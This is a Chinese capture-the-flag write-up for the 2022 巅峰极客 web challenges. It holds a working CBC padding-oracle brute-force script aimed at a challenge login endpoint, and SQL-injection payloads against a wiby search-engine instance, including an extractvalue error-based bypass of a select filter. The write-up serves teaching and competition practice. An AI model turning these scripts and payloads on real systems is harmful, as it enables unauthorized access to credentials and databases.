巅峰极客2022wp
巅峰极客2022
文章目录
- 巅峰极客2022
- web
- babyweb
- ezWeb
web
babyweb
提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[NPUCTF2020]web狗
原理简单讲一下,这道题的逻辑大概就是,cookie传入一个admin_password的base64值,然后后端进行解密,因为是采用了CBC模式,所以可以构造这个base64的值进行爆破中间值。具体的爆破原理可以看文章https://www.cnblogs.com/ntestoc/p/11044433.html
这道题是采用的PKCS7,也就是16字节为一组进行分组,题目给的password是64字节的,其中前16个字节是初始IV偏移,然后利用我写的exp一组一组爆破就行了,爆破需要时间,这是非常恶心的一点
# -*- coding: utf-8 -*-
# @Time : 2022/8/17 14:11
# @Author : pysnow
import requests
import time
import base64enc = base64.b64decode("KBLR73Xs+27+jqaDJxxn5m4dhT0JKrZO7ZrdTDKwY4MWT99pwDAr+Doinyc7Z7aQcWMIJXj1X26zfQIzsKJmpQ==")
iv = enc[:16]
a = enc[16:32]
b = enc[32:48]
c = enc[48:64]
N = 16
middle = b""
m = b''
jwt = '; session=eyJhZG1pbl9wYXNzd29yZCI6IktCTFI3M1hzKzI3K2pxYURKeHhuNW00ZGhUMEpLclpPN1pyZFRES3dZNE1XVDk5cHdEQXIrRG9pbnljN1o3YVFjV01JSlhqMVgyNnpmUUl6c0tKbXBRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvyqfg.rne4FOqd4fwNXCQxvbDkQq7iTCE'
url = 'http://eci-2ze5c6hgy29ykascmvi4.cloudeci1.ichunqiu.com/login'def xor(a, b):return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])def byte(key):return key.to_bytes(1, 'big')for step in range(1, N + 1):padding = byte(step) * (step - 1)print("爆破的最后{}位".format(step))for i in range(0, 256):# print(i)new_iv = byte(0) * (N - step) + byte(i) + xor(padding, middle)data = {"username": "admin", "passxxxx": "xxmin"}payload = new_iv + a# print(len(payload))headers = {"Cookie": "admin_password=" + base64.b64encode(payload).decode() + jwt}# print(base64.b64encode(payload).decode())r = requests.post(url=url, data=data, headers=headers)time.sleep(0.01)# print(i, r.text)if r.text == "False":print(i, r.text)middle = xor(byte(i), byte(step)) + middleprint(middle)break
注意修改的一点
payload = new_iv + a
比如说你要爆破第一组就这么写
要爆破第二组就如下方式写
payload = a + new_iv + b
理论上是可以只写两组的,没试过,我感觉应该可以
然后将爆破得到的中间值跟前一组的密文(也就是偏移)进行异或一下就得到明文
下面是异或脚本
# -*- coding: utf-8 -*-
# @Time : 2022/8/17 17:29
# @Author : pysnow
# mid = b" z\xe9^\xcc<'\xf46.\x93+7k\xba\x9c"
# mid = b'X)\xa8\x05<K\x83c\xd4\xa3\xe5-\x02\xd1\x06\xe5'
mid = b'Lp\xe1\xdeF\xd8\xc8\x0f\xd3\xbb\x96\xb4\x131S\x80'
// mid为三次中间值
iv = b"(\x12\xd1\xefu\xec\xfbn\xfe\x8e\xa6\x83'\x1cg\xe6"
b = b'\x16O\xdfi\xc00+\xf8:"\x9f\';g\xb6\x90'
a = b'n\x1d\x85=\t*\xb6N\xed\x9a\xddL2\xb0c\x83'def xor(a, b):return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])def byte(key):return key.to_bytes(1, 'big')print(xor(mid, iv))
最后爆破出密码为db01343a-5074-4f64-85a5-998a0aef6567\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c
admin使用db01343a-5074-4f64-85a5-998a0aef6567密码登陆得到flag
ezWeb
下载附件可以看到flag分为两部分放在了flag1和flag2表里面
#!/bin/bashexport FLAG1="flag{this_is_a"
export FLAG2="_test"
mysql -u root wiby -e "create table flag1 (flag text); insert into flag1 values ('$FLAG1'); grant select on flag1 to 'approver'@'localhost';" && \
mysql -u root wiby -e "create table flag2 (flag text); insert into flag2 values ('$FLAG2'); grant select on flag2 to 'crawler'@'localhost';"
export FLAG1="flag{flag_not_here}"
export FLAG2="flag{flag_not_here}"
rm -rf /flag.sh
而且赋予了不同的权限
robots.txt文件给出了账号密码admin/admin888
在github上找到该项目,查看issue发现这个存在历史漏洞,sql注入和csrf
因为给了admin密码,那就不需要再通过csrf获取密码了
https://github.com/wibyweb/wiby/issues/1
有两个地方存在注入点,直接给出我的exp,第一处特别简单,也没啥过滤啥的,第二出过滤了select,可以利用mysql8的性质配合报错注入进行bypass
http://123.56.45.214:27423/tags/tags.php
url=-1"union select flag from `flag2`%23
http://123.56.45.214:27423/review/review.php
updatable1=1&worksafe1=on&crawldepth1=&crawlpages1=&crawltype1=0&startid=1&endid=0/**/and/**/extractvalue(1,concat(0x5c,(table/**/flag1)))
巅峰极客2022wp相关推荐
- 巅峰极客pwn wp
Pwn gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写. delete:有UAF show: ...
- 巅峰极客2022初赛 部分题解
文章目录 Crypto point-power strange curve Misc easy_Forensic Lost 巅峰极客2022初赛,团队共解决7道题,合计2234分,排名第11位,晋级复 ...
- 2020巅峰极客wp
2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以'-'为间隔,将flag的第一部分转换为整型数字,并且满足后项 ...
- 2018巅峰极客writeup(Misc)
原文地址:https://mistsatan.github.io/articles/2018-Peakgeek-Writeup-Misc.html 作为一个渣渣,带着去看各路神仙打架的想法报名了这次的 ...
- 巅峰极客第一场CTF部分writeup
额,上午驾校学车,中午打了会儿安恒的月赛,就来看巅峰极客的题了.时间关系实力原因没做几个emmmm太菜了wa MISC-warmup-100pt 拿到一个bmp文件,套路走一波,右键查看属性emmm啥 ...
- [代码审计][PHAR]巅峰极客babyphp2学习压缩过滤器触发phar
前言:我要当赛棍!!! 文章目录 序列化与反序列化 基本介绍 PHP反序列化漏洞原理 常用的魔法函数 __wakeup()绕过:CVE-2016-7124 __set:巅峰极客babyphp2 解决p ...
- 2022巅峰极客WriteUp By EDISEC
2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...
- 巅峰极客2021 what_pickle——一道综合性的python web
前言 这题好像是最少人做出的web,考察的知识点比较多,综合性比较强,感觉挺有意思的.很多人都是卡在某个知识点,尤其是最后读flag阶段.总的来说,由于这题涉及到各种很经典的python安全的知识点, ...
- 2021巅峰极客逆向baby_maze题wp
IDA分析发现题目所谓的迷宫没有一个数据结构来表示,而是每一个函数就是一关: 输入S后进入下一关: 然后一直过关到这个函数: 开始的时候我没注意看有多少个函数,以为就几十个,手工用crossref从结 ...
最新文章
- 前端一HTML:二: html开发工具
- PPC 调用约定 r0-r31寄存器介绍
- Windows窗口分析
- 修改Tomcat 6 默认的ROOT
- 24张IT工程师技能图谱,这些你都会吗?
- toString()和String.valueOf()的区别(转)
- Anaconda下安装OpenCV和Tensorflow(最简洁高效的方法)
- 计算机组成原理单周期mips,计算机组成原理CPU单周期数据通路(MIPS)
- 3d激光雷达开发(从halcon看点云pcl库)
- matlab 线性方程组 最小二乘解,超定方程组的最小二乘解
- callback的实现
- 大数据和人工智能体系图
- 机械工程专业英语复习
- MT4跟单软件的API跟单模式有多少种?
- 【最新】电脑常用装机软件组合 装机必备
- Mapbox相机动画整理(1)示例解析
- 手机收不到第三方发送的短信及验证码
- DRC(Data Replicate Center)
- 可达编程 单源最短路
- 用Python写了个贪吃蛇
热门文章
- 大数据常见英文词汇(二)(待续)
- PAT 1100. Mars Numbers (20)
- 小米装linux系统教程视频,小米5 miui8折腾Linux Deploy经验
- Git上传文件不能超过100M的解决办法
- getsockopt和setsockopt
- 河南专升本公共英语语法考点分析---代词、介词、连接词
- java实现视频弹幕效果,SpringBoot实现视频弹幕功能 DanmuPlayer插件的使用
- 全国快递物流查询-快递单号查询接口api
- android 寺库trytry_美图与寺库达成战略合作 美图美妆将由 TryTry 运营
- “耳根”发布新作《一念永恒》,交易记录